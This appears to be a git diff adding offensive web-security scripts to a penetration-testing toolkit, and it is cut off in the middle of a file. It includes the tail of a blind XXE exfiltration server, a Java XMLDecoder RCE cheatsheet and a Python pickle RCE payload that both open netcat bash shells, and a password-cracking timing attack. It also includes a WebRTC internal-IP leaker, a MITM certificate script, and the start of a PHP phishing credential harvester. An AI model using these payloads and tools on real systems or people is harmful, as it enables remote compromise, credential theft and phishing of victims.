<!ENTITY %% param_request "<!ENTITY exfil SYSTEM 'http://%(exfil_host)s/?exfil=%%param_exfil;'>">
|
||||
%%param_request;''' % {'exfil_file' : EXFIL_FILE, 'exfil_host' : RHOST}
|
||||
|
||||
self.response(content_type='text/xml', body=dtd)
|
||||
|
||||
else:
|
||||
#print '[INFO] %s %s' % (request.command, request.path)
|
||||
self.response(body='false')
|
||||
|
||||
def main():
|
||||
server = HTTPServer(SERVER_SOCKET, BlindXXEServer)
|
||||
thread = threading.Thread(target=server.serve_forever)
|
||||
thread.daemon = True
|
||||
thread.start()
|
||||
|
||||
while not EXFILTRATED_EVENT.is_set():
|
||||
pass
|
||||
|
||||
if __name__ == '__main__':
|
||||
if len(sys.argv) > 1:
|
||||
EXFIL_FILE = sys.argv[1]
|
||||
main()
|
44
web/burp-curl-beautifier.py
Normal file
44
web/burp-curl-beautifier.py
Normal file
@ -0,0 +1,44 @@
|
||||
#!/usr/bin/python
|
||||
|
||||
#
|
||||
# Simple script for making "Copy as curl command" output in system's clipboard a little nicer\
|
||||
# To use it:
|
||||
# - firstly right click on request in BurpSuite
|
||||
# - select "Copy as curl command"
|
||||
# - then launch this script.
|
||||
# As a result, you'll have a bit nicer curl command in your clipboard.
|
||||
#
|
||||
|
||||
try:
|
||||
import xerox
|
||||
except ImportError:
|
||||
raise ImportError, "`xerox` library not found. Install it using: `pip install xerox`"
|
||||
import re
|
||||
|
||||
data = xerox.paste()
|
||||
data = re.sub(r"\s+\\\n\s+", ' ', data, re.M)
|
||||
data = re.sub('curl -i -s -k\s+-X', 'curl -iskX', data)
|
||||
if "-iskX 'GET'" in data:
|
||||
data = data.replace("-iskX 'GET'", '')
|
||||
else:
|
||||
data = re.sub(r"-iskX '([^']+)' ", r"-iskX \1 ", data)
|
||||
|
||||
superfluous_headers = {
|
||||
'Upgrade-Insecure-Requests':'',
|
||||
'DNT':'',
|
||||
'User-Agent':'',
|
||||
'Content-Type':"application/x-www-form-urlencoded",
|
||||
'Referer':'',
|
||||
}
|
||||
|
||||
for k, v in superfluous_headers.items():
|
||||
val = v
|
||||
if not val:
|
||||
val = "[^']+"
|
||||
rex = r" -H '" + k + ": " + val + "' "
|
||||
m = re.search(rex, data)
|
||||
if m:
|
||||
data = re.sub(rex, ' ', data)
|
||||
|
||||
data = re.sub(r"'(http[^']+)'$", r'"\1"', data)
|
||||
xerox.copy(data)
|
91
web/burpCookieToUrl.py
Normal file
91
web/burpCookieToUrl.py
Normal file
@ -0,0 +1,91 @@
|
||||
#!/usr/bin/python
|
||||
|
||||
from burp import IBurpExtender
|
||||
from burp import IParameter
|
||||
from burp import IHttpListener
|
||||
from burp import IExtensionStateListener
|
||||
|
||||
# Can be used with:
|
||||
# https://github.com/securityMB/burp-exceptions
|
||||
# from exceptions_fix import FixBurpExceptions
|
||||
import sys
|
||||
import re
|
||||
import urlparse
|
||||
from urllib import urlencode
|
||||
|
||||
|
||||
HOST_SCOPE = 'www.example.com'
|
||||
TRIGGER_PATTERN = '/some/path/'
|
||||
COOKIE_NAME = 'cookieTicket'
|
||||
PARAMETER_NAME = 'ticket'
|
||||
|
||||
class BurpExtender(IBurpExtender, IHttpListener, IExtensionStateListener):
|
||||
ticket = ''
|
||||
|
||||
def registerExtenderCallbacks(self, callbacks):
|
||||
# sys.stdout = callbacks.getStdout()
|
||||
|
||||
print '[+] Ticket appender is loading...'
|
||||
|
||||
self._callbacks = callbacks
|
||||
|
||||
# helpers object for analyzing HTTP request
|
||||
self._helpers = callbacks.getHelpers()
|
||||
|
||||
callbacks.setExtensionName("Copy Specific Cookie into URL parameter")
|
||||
callbacks.registerHttpListener(self)
|
||||
callbacks.registerExtensionStateListener(self)
|
||||
|
||||
return
|
||||
|
||||
def addUrlParam(self, _url, name, value):
|
||||
pos1 = _url.find(' ') + 1
|
||||
pos2 = _url.rfind(' ')
|
||||
url = _url[pos1:pos2]
|
||||
|
||||
url_parts = list(urlparse.urlparse(url))
|
||||
query = dict(urlparse.parse_qsl(url_parts[4]))
|
||||
query.update({name : value})
|
||||
url_parts[4] = urlencode(query)
|
||||
|
||||
new_url = str(urlparse.urlunparse(url_parts))
|
||||
|
||||
return _url[:pos1] + new_url + _url[pos2:]
|
||||
|
||||
|
||||
def processHttpMessage(self, toolFlag, messageIsRequest, currentRequest):
|
||||
if messageIsRequest:
|
||||
requestInfo = self._helpers.analyzeRequest(currentRequest)
|
||||
|
||||
headers = requestInfo.getHeaders()
|
||||
|
||||
if re.match('Host: ' + HOST_SCOPE, headers[1], re.I):
|
||||
for h in headers:
|
||||
if 'Cookie' in h and COOKIE_NAME in h:
|
||||
pos0 = h.find(COOKIE_NAME)
|
||||
pos1 = h.find('=', pos0)
|
||||
pos2 = h.find(';', pos1)
|
||||
ticket = h[pos1+1:pos2]
|
||||
|
||||
if ticket != self.ticket:
|
||||
print "[?] Cookie's value changed: '%s' => '%s'" % (ticket, self.ticket)
|
||||
self.ticket = ticket
|
||||
|
||||
url = headers[0]
|
||||
print '[*] Working url: "%s"' % url
|
||||
print '[*] Self.ticket = "%s"' % self.ticket
|
||||
|
||||
if TRIGGER_PATTERN in url and self.ticket != '' and PARAMETER_NAME + '=' not in url:
|
||||
print '[?] No Ticket parameter in URL. Adding it...'
|
||||
|
||||
newHeaders = list(headers)
|
||||
newHeaders[0] = self.addUrlParam(url, PARAMETER_NAME, ' ' + self.ticket)
|
||||
print '[?] Updating URL from: "%s" => "%s"' % (headers[0], newHeaders[0])
|
||||
|
||||
bodyBytes = currentRequest.getRequest()[requestInfo.getBodyOffset():]
|
||||
bodyStr = self._helpers.bytesToString(bodyBytes)
|
||||
|
||||
newMessage = self._helpers.buildHttpMessage(newHeaders, bodyStr)
|
||||
currentRequest.setRequest(newMessage)
|
||||
|
||||
# FixBurpExceptions()
|
31
web/create_mitm_certificate.sh
Normal file
31
web/create_mitm_certificate.sh
Normal file
@ -0,0 +1,31 @@
|
||||
#!/bin/bash
|
||||
|
||||
echo -e "\n\nSimple SSL/TLS self-signed CA Certificate generator\n\n"
|
||||
|
||||
if [ -z $1 ]; then
|
||||
echo "Usage: $0 [file_name]"
|
||||
echo -e "\nGoing with default name: './rogue_server'\n\n"
|
||||
fi
|
||||
|
||||
FILENAME=${1:-rogue_server}
|
||||
|
||||
echo "[+] Generating public and private keys pair (.key)..."
|
||||
openssl genrsa -out $FILENAME.key 1024
|
||||
|
||||
echo "[+] Generating a self-signed x509 CA's certificate (.crt)..."
|
||||
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3600 -out $FILENAME.crt
|
||||
|
||||
echo "[+] Generating the PEM file out of the key and certificate files..."
|
||||
cat $FILENAME.key $FILENAME.crt > $FILENAME.pem
|
||||
|
||||
echo -e "\n[>] Certificate's dump:"
|
||||
openssl x509 -in $FILENAME.pem -text -noout
|
||||
|
||||
echo -e "\n[>] Generated files:"
|
||||
echo -e "\tPKI keys (public/private):\t$FILENAME.key"
|
||||
echo -e "\tCA Certficate:\t\t$FILENAME.crt"
|
||||
echo -e "\tResulting PEM:\t\t$FILENAME.pem"
|
||||
|
||||
echo -e "\n\n[+] Now you can start a TLS-enabled server with:\n"
|
||||
echo -e "\n$ sudo socat -vv openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect::,verify=0 \n"
|
||||
echo "Happy MITM-ing!"
|
51
web/dummy-web-server.py
Normal file
51
web/dummy-web-server.py
Normal file
@ -0,0 +1,51 @@
|
||||
#!/usr/bin/env python
|
||||
"""
|
||||
Very simple HTTP server in python.
|
||||
|
||||
Usage::
|
||||
./dummy-web-server.py [<port>]
|
||||
|
||||
Send a GET request::
|
||||
curl http://localhost
|
||||
|
||||
Send a HEAD request::
|
||||
curl -I http://localhost
|
||||
|
||||
Send a POST request::
|
||||
curl -d "foo=bar&bin=baz" http://localhost
|
||||
|
||||
"""
|
||||
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
|
||||
import SocketServer
|
||||
|
||||
class S(BaseHTTPRequestHandler):
|
||||
def _set_headers(self):
|
||||
self.send_response(200)
|
||||
self.send_header('Content-type', 'text/html')
|
||||
self.end_headers()
|
||||
|
||||
def do_GET(self):
|
||||
self._set_headers()
|
||||
self.wfile.write("<html><body><h1>hi!</h1></body></html>")
|
||||
|
||||
def do_HEAD(self):
|
||||
self._set_headers()
|
||||
|
||||
def do_POST(self):
|
||||
# Doesn't do anything with posted data
|
||||
self._set_headers()
|
||||
self.wfile.write("<html><body><h1>POST!</h1></body></html>")
|
||||
|
||||
def run(server_class=HTTPServer, handler_class=S, port=80):
|
||||
server_address = ('', port)
|
||||
httpd = server_class(server_address, handler_class)
|
||||
print 'Starting httpd...'
|
||||
httpd.serve_forever()
|
||||
|
||||
if __name__ == "__main__":
|
||||
from sys import argv
|
||||
|
||||
if len(argv) == 2:
|
||||
run(port=int(argv[1]))
|
||||
else:
|
||||
run()
|
53
web/http-auth-timing.py
Normal file
53
web/http-auth-timing.py
Normal file
@ -0,0 +1,53 @@
|
||||
#!/usr/bin/python
|
||||
|
||||
import requests
|
||||
import datetime
|
||||
import string
|
||||
import sys
|
||||
|
||||
ALPHABET = string.printable
|
||||
RETRIES = 1
|
||||
|
||||
def fetch(url, username, password):
|
||||
a = datetime.datetime.now()
|
||||
r = requests.get(url, auth=requests.auth.HTTPBasicAuth(username, password))
|
||||
if r.status_code == 200:
|
||||
return 0
|
||||
b = datetime.datetime.now()
|
||||
return (b - a).total_seconds()
|
||||
|
||||
def main(url, username):
|
||||
|
||||
pass_so_far = ''
|
||||
while True:
|
||||
print '\n[>] Password so far: "%s"\n' % pass_so_far
|
||||
times = {}
|
||||
avg_times = {}
|
||||
for p in ALPHABET:
|
||||
times[p] = []
|
||||
avg_times[p] = 0.0
|
||||
for i in range(RETRIES):
|
||||
password = pass_so_far + p
|
||||
t = fetch(url, username, password)
|
||||
if t == 0:
|
||||
print 'Password found: "%s"' % password
|
||||
return
|
||||
times[p].append(t)
|
||||
|
||||
avg_times[p] = sum(times[p]) / float(RETRIES)
|
||||
if ord(p) > 32:
|
||||
print '\tLetter: "%c" - time: %f' % (p, avg_times[p])
|
||||
|
||||
max_time = [0,0]
|
||||
for letter, time_ in times.items():
|
||||
if time_ > max_time[1]:
|
||||
max_time[0] = letter
|
||||
max_time[1] = time_
|
||||
|
||||
pass_so_far += max_time[0]
|
||||
|
||||
if __name__ == '__main__':
|
||||
if len(sys.argv) < 3:
|
||||
print 'usage: http-auth-timing.py <url> <username>'
|
||||
|
||||
main(sys.argv[1], sys.argv[2])
|
80
web/java-XMLDecoder-RCE.md
Normal file
80
web/java-XMLDecoder-RCE.md
Normal file
@ -0,0 +1,80 @@
|
||||
## Java Beans XMLDecoder Remote Code Execution cheatsheet
|
||||
|
||||
Having a functionality of file upload or other function that is parsing input xml-type data that will later flow through the **XMLDecoder** component of _Java Beans_, one could try to play around it's known deserialization issue. In order to test that issue there should be specially crafted XML-payload used that would invoke arbitrary Java interfaces and methods with supplied parameters.
|
||||
|
||||
### Payloads
|
||||
|
||||
When one would like to start a bind shell on the target machine, he could use the payload like the following one:
|
||||
```
|
||||
Runtime.getRuntime().exec(new java.lang.String[]{"/usr/bin/nc", "-l", "-p", "4444", "-e", "/bin/bash"});
|
||||
```
|
||||
|
||||
In such case desired XML would look like the following one:
|
||||
|
||||
```
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<java version="1.8.0_102" class="java.beans.XMLDecoder">
|
||||
<object class="java.lang.Runtime" method="getRuntime">
|
||||
<void method="exec">
|
||||
<array class="java.lang.String" length="6">
|
||||
<void index="0">
|
||||
<string>/usr/bin/nc</string>
|
||||
</void>
|
||||
<void index="1">
|
||||
<string>-l</string>
|
||||
</void>
|
||||
<void index="2">
|
||||
<string>-p</string>
|
||||
</void>
|
||||
<void index="3">
|
||||
<string>4444</string>
|
||||
</void>
|
||||
<void index="4">
|
||||
<string>-e</string>
|
||||
</void>
|
||||
<void index="5">
|
||||
<string>/bin/bash</string>
|
||||
</void>
|
||||
</array>
|
||||
</void>
|
||||
</object>
|
||||
</java>
|
||||
```
|
||||
|
||||
or by using `ProcessBuilder`:
|
||||
|
||||
```
|
||||
new java.lang.ProcessBuilder(new java.lang.String[]{"/usr/bin/nc", "-l", "-p", "4444", "-e", "/bin/bash"}).start()
|
||||
```
|
||||
|
||||
Then the payload would look like:
|
||||
|
||||
```
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<java version="1.8.0_102" class="java.beans.XMLDecoder">
|
||||
<void class="java.lang.ProcessBuilder">
|
||||
<array class="java.lang.String" length="6">
|
||||
<void index="0">
|
||||
<string>/usr/bin/nc</string>
|
||||
</void>
|
||||
<void index="1">
|
||||
<string>-l</string>
|
||||
</void>
|
||||
<void index="2">
|
||||
<string>-p</string>
|
||||
</void>
|
||||
<void index="3">
|
||||
<string>4444</string>
|
||||
</void>
|
||||
<void index="4">
|
||||
<string>-e</string>
|
||||
</void>
|
||||
<void index="5">
|
||||
<string>/bin/bash</string>
|
||||
</void>
|
||||
</array>
|
||||
<void method="start" id="process">
|
||||
</void>
|
||||
</void>
|
||||
</java>
|
||||
```
|
12
web/oRTC-leak-internal-ip.js
Normal file
12
web/oRTC-leak-internal-ip.js
Normal file
@ -0,0 +1,12 @@
|
||||
let ipAddresses = [];
|
||||
|
||||
var oRTCIceGatherer = new RTCIceGatherer({ "gatherPolicy": "all", "iceServers": [] });
|
||||
oRTCIceGatherer.onlocalcandidate = function (oEvent) {
|
||||
if(oEvent.candidate.type == "host") {
|
||||
ipAddresses.push(oEvent.candidate.ip);
|
||||
}
|
||||
};
|
||||
|
||||
setTimeout(function() {
|
||||
console.log(ipAddresses.toString());
|
||||
}, 500);
|
311
web/padding-oracle-tests.py
Normal file
311
web/padding-oracle-tests.py
Normal file
@ -0,0 +1,311 @@
|
||||
#!/usr/bin/python
|
||||
#
|
||||
# Padding Oracle test-cases generator.
|
||||
# Mariusz B. / mgeeky, 2016
|
||||
# v0.2
|
||||
#
|
||||
# Simple utility that aids the penetration tester when manually testing Padding Oracle condition
|
||||
# of a target cryptosystem, by generating set of test cases to fed the cryptosystem with.
|
||||
#
|
||||
# Script that takes from input an encoded cipher text, tries to detect applied encoding, decodes the cipher
|
||||
# and then generates all the possible, reasonable cipher text transformations to be used while manually
|
||||
# testing for Padding Oracle condition of cryptosystem. The output of this script will be hundreds of
|
||||
# encoded values to be used in manual application testing approaches, like sending requests.
|
||||
#
|
||||
# One of possible scenarios and ways to use the below script could be the following:
|
||||
# - clone the following repo: https://github.com/GDSSecurity/PaddingOracleDemos
|
||||
# - launch pador.py which is an example of application vulnerable to Padding Oracle
|
||||
# - then by using `curl http://localhost:5000/echo?cipher=<ciphertext>` we are going to manually
|
||||
# test for Padding Oracle outcomes. The case of returning something not being a 'decryption error'
|
||||
# result would be considered padding-hit, therefore vulnerability proof.
|
||||
#
|
||||
# This script could be then launched to generate every possible test case of second to the last block
|
||||
# being filled with specially tailored values (like vector of zeros with last byte ranging from 0-255)
|
||||
# and then used in some kind of local http proxy (burp/zap) or http client like (curl/wget).
|
||||
#
|
||||
# Such example usage look like:
|
||||
#
|
||||
#---------------------------------------------
|
||||
# bash$ x=0 ; for i in $(./padding-oracle-tests.py 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6); \
|
||||
# do curl -s http://host:5000/echo?cipher=$i | grep -qv 'error' && printf "Byte: 0x%02x not generated decryption error.\n" $x ; x=$((x+1)); done
|
||||
#
|
||||
# [?] Data resembles block cipher with block size = 16
|
||||
# [?] Data resembles block cipher with block size = 8
|
||||
#
|
||||
# Generated in total: 512 test cases for 8, 16 block sizes.
|
||||
# Byte: 0x87 not generated decryption error.
|
||||
#---------------------------------------------
|
||||
#
|
||||
# There the script took at it's first parameter the hex encoded parameter, used it to feed test cases generator and resulted with 512
|
||||
# test cases varying with the last byte of the second to the last block:
|
||||
# (...)
|
||||
# 484b850123a04baf15df9be14e87369b000000000000000000000000000000fad2382fb0a54f3a2954bfebe0a04dd4d6
|
||||
# 484b850123a04baf15df9be14e87369b000000000000000000000000000000fbd2382fb0a54f3a2954bfebe0a04dd4d6
|
||||
# 484b850123a04baf15df9be14e87369b000000000000000000000000000000fcd2382fb0a54f3a2954bfebe0a04dd4d6
|
||||
# 484b850123a04baf15df9be14e87369b000000000000000000000000000000fdd2382fb0a54f3a2954bfebe0a04dd4d6
|
||||
# 484b850123a04baf15df9be14e87369b000000000000000000000000000000fed2382fb0a54f3a2954bfebe0a04dd4d6
|
||||
# 484b850123a04baf15df9be14e87369b000000000000000000000000000000ffd2382fb0a54f3a2954bfebe0a04dd4d6
|
||||
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000054bfebe0a04dd4d6
|
||||
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000154bfebe0a04dd4d6
|
||||
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000254bfebe0a04dd4d6
|
||||
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000354bfebe0a04dd4d6
|
||||
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000454bfebe0a04dd4d6
|
||||
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000554bfebe0a04dd4d6
|
||||
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000654bfebe0a04dd4d6
|
||||
# (...)
|
||||
#
|
||||
# At the end, those values were used in for loop to launch for every entry a curl client with request to the Padding Oracle.
|
||||
# The 0x87 byte that was catched was the only one that has not generated a 'decryption error' outcome from the request, resulting
|
||||
# in improperly decrypted plain-text from attacker-controled cipher text.
|
||||
#
|
||||
|
||||
import re
|
||||
import sys
|
||||
import urllib
|
||||
import binascii as ba
|
||||
import base64
|
||||
|
||||
# Flip this variable when your input data is not being properly processed.
|
||||
DEBUG = False
|
||||
|
||||
|
||||
def info(txt):
|
||||
sys.stderr.write(txt + '\n')
|
||||
|
||||
def warning(txt):
|
||||
info('[?] ' + txt)
|
||||
|
||||
def error(txt):
|
||||
info('[!] ' + txt)
|
||||
|
||||
def dbg(txt):
|
||||
if DEBUG:
|
||||
info('[dbg] '+txt)
|
||||
|
||||
# or maybe:
|
||||
# class PaddingOracleTestCasesWithVaryingSecondToTheLastBlockGenerator
|
||||
class PaddingOracleTestCasesGenerator:
|
||||
NONE = 0
|
||||
B64URL = 1
|
||||
B64STD = 2
|
||||
HEXENC = 3
|
||||
|
||||
data = ''
|
||||
offset = 0
|
||||
encoding = NONE
|
||||
blocksizes = set()
|
||||
urlencoded = False
|
||||
|
||||
def __init__(self, data, blocksize=0):
|
||||
self.data = data
|
||||
len_before = len(data)
|
||||
self.encoding = self.detect_encoding()
|
||||
self.data = self.decode(data)
|
||||
|
||||
if blocksize != 0:
|
||||
assert blocksize % 8 == 0, "Blocksize must be divisible by 8"
|
||||
self.blocksizes = [blocksize,]
|
||||
else:
|
||||
self.detect_blocksize()
|
||||
|
||||
self.data_evaluation(len_before)
|
||||
|
||||
def data_evaluation(self, len_before):
|
||||
def entropy(txt):
|
||||
import math
|
||||
from collections import Counter
|
||||
p, lns = Counter(txt), float(len(txt))
|
||||
return -sum( count / lns * math.log(count/lns, 2) for count in p.values())
|
||||
|
||||
e = entropy(self.data)
|
||||
warning('Data size before and after decoding: %d -> %d' % (len_before, len(self.data)))
|
||||
warning('Data entropy: %.6f' % entropy(self.data))
|
||||
|
||||
if e < 5.0:
|
||||
info('\tData does not look random, not likely to deal with block cipher.')
|
||||
elif e >= 5.0 and e < 7.0:
|
||||
info('\tData only resembles random stream, hardly to be dealing with block cipher.')
|
||||
else:
|
||||
info('\tHigh likelihood of dealing with block cipher. That\'s good.')
|
||||
|
||||
if self.offset != 0:
|
||||
warning('Data structure not resembles block cipher.')
|
||||
warning('Proceeding with sliding window of %d bytes in the beginning and at the end\n' % self.offset)
|
||||
else:
|
||||
warning('Data resembles block cipher with block size = %d' % max(self.blocksizes))
|
||||
|
||||
def detect_encoding(self):
|
||||
b64url = '^[a-zA-Z0-9_\-]+={0,2}$'
|
||||
b64std = '^[a-zA-Z0-9\+\/]+={0,2}$'
|
||||
hexenc1 = '^[0-9a-f]+$'
|
||||
hexenc2 = '^[0-9A-F]+$'
|
||||
|
||||
data = self.data
|
||||
if re.search('%[0-9a-f]{2}', self.data, re.I) != None:
|
||||
dbg('Sample is url-encoded.')
|
||||
data = urllib.unquote_plus(data)
|
||||
self.urlencoded = True
|
||||
|
||||
if (re.match(hexenc1, data) or re.match(hexenc2, data)) and len(data) % 2 == 0:
|
||||
dbg('Hex encoding detected.')
|
||||
return self.HEXENC
|
||||
|
||||
if re.match(b64url, data):
|
||||
dbg('Base64url encoding detected.')
|
||||
return self.B64URL
|
||||
|
||||
if re.match(b64std, data):
|
||||
dbg('Standard Base64 encoding detected.')
|
||||
return self.B64STD
|
||||
|
||||
error('Warning: Could not detect data encoding. Going with plain data.')
|
||||
return self.NONE
|
||||
|
||||
def detect_blocksize(self):
|
||||
sizes = [32, 16, 8] # Correspondigly: 256, 128, 64 bits
|
||||
|
||||
self.offset = len(self.data) % 8
|
||||
datalen = len(self.data) - self.offset
|
||||
|
||||
for s in sizes:
|
||||
if datalen % s == 0 and datalen / s >= 2:
|
||||
self.blocksizes.add(s)
|
||||
|
||||
if not len(self.blocksizes):
|
||||
if datalen >= 32:
|
||||
self.blocksizes.add(16)
|
||||
if datalen >= 16:
|
||||
self.blocksizes.add(8)
|
||||
|
||||
if not len(self.blocksizes):
|
||||
raise Exception("Could not detect data's blocksize automatically.")
|
||||
|
||||
def encode(self, data):
|
||||
def _enc(data):
|
||||
if self.encoding == PaddingOracleTestCasesGenerator.B64URL:
|
||||
return base64.urlsafe_b64encode(data)
|
||||
elif self.encoding == PaddingOracleTestCasesGenerator.B64STD:
|
||||
return base64.b64encode(data)
|
||||
elif self.encoding == PaddingOracleTestCasesGenerator.HEXENC:
|
||||
return ba.hexlify(data).strip()
|
||||
else:
|
||||
return data
|
||||
|
||||
enc = _enc(data)
|
||||
if self.urlencoded:
|
||||
return urllib.quote_plus(enc)
|
||||
else:
|
||||
return enc
|
||||
|
||||
def decode(self, data):
|
||||
def _decode(self, data):
|
||||
if self.urlencoded:
|
||||
data = urllib.unquote_plus(data)
|
||||
|
||||
if self.encoding == PaddingOracleTestCasesGenerator.B64URL:
|
||||
return base64.urlsafe_b64decode(data)
|
||||
elif self.encoding == PaddingOracleTestCasesGenerator.B64STD:
|
||||
return base64.b64decode(data)
|
||||
elif self.encoding == PaddingOracleTestCasesGenerator.HEXENC:
|
||||
return ba.unhexlify(data).strip()
|
||||
else:
|
||||
return data
|
||||
|
||||
dbg("Hex dump of data before decoding:\n" + hex_dump(data))
|
||||
decoded = _decode(self, data)
|
||||
dbg("Hex dump of data after decoding:\n" + hex_dump(decoded))
|
||||
return decoded
|
||||
|
||||
def construct_second_to_last_block(self, data, blocksize, value, offset=0):
|
||||
|
||||
assert len(data) >= 2 * blocksize, "Too short data to operate on it with given blocksize."
|
||||
assert abs(offset) < blocksize, "Incorrect offset was specified. Out-of-bounds access."
|
||||
|
||||
# Null vector with the last byte set to iterated value.
|
||||
block = '0' * (2*(blocksize-1)) + '%02x' % value
|
||||
|
||||
if offset >= 0:
|
||||
# datadata<rest>
|
||||
return data[:-2*blocksize-offset] + ba.unhexlify(block) + data[-blocksize-offset:]
|
||||
else:
|
||||
# <rest>datadata
|
||||
return data[-offset:-2*blocksize] + ba.unhexlify(block) + data[-blocksize:]
|
||||
|
||||
def generate_test_cases(self):
|
||||
cases = []
|
||||
data = self.data
|
||||
for size in self.blocksizes:
|
||||
dbg("Now generating test cases of %d blocksize." % size)
|
||||
for byte in range(256):
|
||||
|
||||
# No offset
|
||||
cases.append(self.encode(self.construct_second_to_last_block(data, size, byte)))
|
||||
|
||||
if self.offset != 0:
|
||||
cases.append(self.encode(self.construct_second_to_last_block(data, size, byte, self.offset)))
|
||||
cases.append(self.encode(self.construct_second_to_last_block(data, size, byte, -self.offset)))
|
||||
|
||||
return cases
|
||||
|
||||
def hex_dump(data):
|
||||
s = ''
|
||||
n = 0
|
||||
lines = []
|
||||
|
||||
if len(data) == 0:
|
||||
return '<empty>'
|
||||
|
||||
for i in range(0, len(data), 16):
|
||||
line = ''
|
||||
line += '%04x | ' % (i)
|
||||
n += 16
|
||||
|
||||
for j in range(n-16, n):
|
||||
if j >= len(data): break
|
||||
line += '%02x ' % ord(data[j])
|
||||
|
||||
line += ' ' * (3 * 16 + 7 - len(line)) + ' | '
|
||||
|
||||
for j in range(n-16, n):
|
||||
if j >= len(data): break
|
||||
c = data[j] if not (ord(data[j]) < 0x20 or ord(data[j]) > 0x7e) else '.'
|
||||
line += '%c' % c
|
||||
|
||||
lines.append(line)
|
||||
|
||||
return '\n'.join(lines)
|
||||
|
||||
def main():
|
||||
info('\n\tPadding Oracle test-cases generator')
|
||||
info('\tMariusz B. / mgeeky, 2016\n')
|
||||
|
||||
if len(sys.argv) < 2:
|
||||
warning('usage: padding-oracle-tests.py <data> [blocksize]')
|
||||
sys.exit(0)
|
||||
|
||||
data = sys.argv[1].strip()
|
||||
bsize = int(sys.argv[2]) if len(sys.argv) > 2 else 0
|
||||
|
||||
try:
|
||||
tester = PaddingOracleTestCasesGenerator(data, bsize)
|
||||
except Exception as e:
|
||||
error(str(e))
|
||||
return False
|
||||
|
||||
s = hex_dump(tester.data)
|
||||
info('Decoded data:\n%s\n' % s)
|
||||
|
||||
cases = tester.generate_test_cases()
|
||||
|
||||
for case in cases:
|
||||
if DEBUG:
|
||||
dbg('...' + case[-48:])
|
||||
else:
|
||||
print case
|
||||
|
||||
info('\n[+] Generated in total: %d test cases for %s block sizes.' \
|
||||
% (len(cases), ', '.join([str(e) for e in sorted(tester.blocksizes)])))
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
20
web/pickle-payload.py
Normal file
20
web/pickle-payload.py
Normal file
@ -0,0 +1,20 @@
|
||||
#!/usr/bin/python
|
||||
#
|
||||
# Pickle deserialization RCE payload.
|
||||
# To be invoked with command to execute at it's first parameter.
|
||||
# Otherwise, the default one will be used.
|
||||
#
|
||||
|
||||
import cPickle
|
||||
import os
|
||||
import sys
|
||||
import base64
|
||||
|
||||
DEFAULT_COMMAND = "netcat -c '/bin/bash -i' -l -p 4444"
|
||||
COMMAND = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_COMMAND
|
||||
|
||||
class PickleRce(object):
|
||||
def __reduce__(self):
|
||||
return (os.system,(COMMAND,))
|
||||
|
||||
print base64.b64encode(cPickle.dumps(PickleRce()))
|
247
web/post.php
Normal file
247
web/post.php
Normal file
@ -0,0 +1,247 @@
|
||||
<?php
|
||||
/*
|
||||
* PHP Script intdended to be used during Phishing attempts as a harverster
|
||||
* collector linked to backdoored HTML <form> action parameter. Such action
|
||||
* parameter could be set like this:
|
||||
*
|
||||
* <form [...] action="/post.php" [...]>
|
||||
*
|
||||
* and script named as 'post.php' to get it working. Additional further configurations
|
||||
* can be made in the section below.
|
||||
*
|
||||
* When crafting HTML login page, one can use the PHP session variable:
|
||||
* $_SESSION['phished_already']
|
||||
* to add forced redirection to the target site.
|
||||
*
|
||||
* Authors:
|
||||
* Mariusz B. / mgeeky
|
||||
* Jakub M. / unkn0w
|
||||
*
|
||||
* Version:
|
||||
* v0.3
|
||||
*
|
||||
* Changelog:
|
||||
* - v0.1 - init
|
||||
* - v0.2 - added metadata gathering
|
||||
* - v0.2.1 - unkn0w adds redirection to faked 'wrong password' message
|
||||
* - v0.3 - added CSV reporting method
|
||||
*/
|
||||
|
||||
try {
|
||||
|
||||
/* ============================ CONFIGURATION ============================ */
|
||||
|
||||
// Filename for harvested data. For CSV logging method, the '.csv' fill be appended.
|
||||
// Remember to keep the filename not guessable, to avoid forceful browsing against your own
|
||||
// phishing box!
|
||||
$harvest_filename = 'harvester_phishing_campaign_1234567890.txt';
|
||||
|
||||
// Target to redirect to after collecting input data.
|
||||
$redirect = 'https://www.website.to/redirect.to?after=input&data=was&sent=';
|
||||
|
||||
// Resend post data to the redirect address?
|
||||
$resend_post_data = false;
|
||||
|
||||
// Specifies how many login attempts user have to try before redirection to real website (must be set to 1 or more)
|
||||
$password_retry = 2;
|
||||
|
||||
// URL for "wrong password" message redirection (applicable only if $password_retry is set to more than 1).
|
||||
// May be relative URL or full one pointing at the target application's error message directly.
|
||||
// Warning: If left empty - the page will be simply reloaded.
|
||||
$wrong_password_url = ''; // '/index.php?wrong_pass=1';
|
||||
|
||||
// If this is set to true, everyone regardless of their user agents will be logged.
|
||||
// Otherwise, only valid, recognized user agents (exlucding bots, or ones who tamper that
|
||||
// setting) will be logged.
|
||||
$log_everyone = false;
|
||||
|
||||
// Set this variable to:
|
||||
// - 'csv' - to collect results in a CSV format.
|
||||
// - 'print_r' - to use the PHP's 'print_r' function.
|
||||
// - 'both' - to create two files and use them both.
|
||||
$log_format = 'both';
|
||||
|
||||
$csv_separator = ' | ';
|
||||
|
||||
// Specifies whether to include in harvesting log metadata such as User Agent,
|
||||
// Remote Addr (victim IP) and so on.
|
||||
$show_meta_data = true;
|
||||
|
||||
// Exclude specific clients based on their VISITOR_ID value (16 bytes values):
|
||||
$exclude_visitors = array('1234567890abcdef');
|
||||
|
||||
|
||||
/* ============================ CONFIGURATION ============================ */
|
||||
|
||||
@error_reporting(0);
|
||||
|
||||
session_start();
|
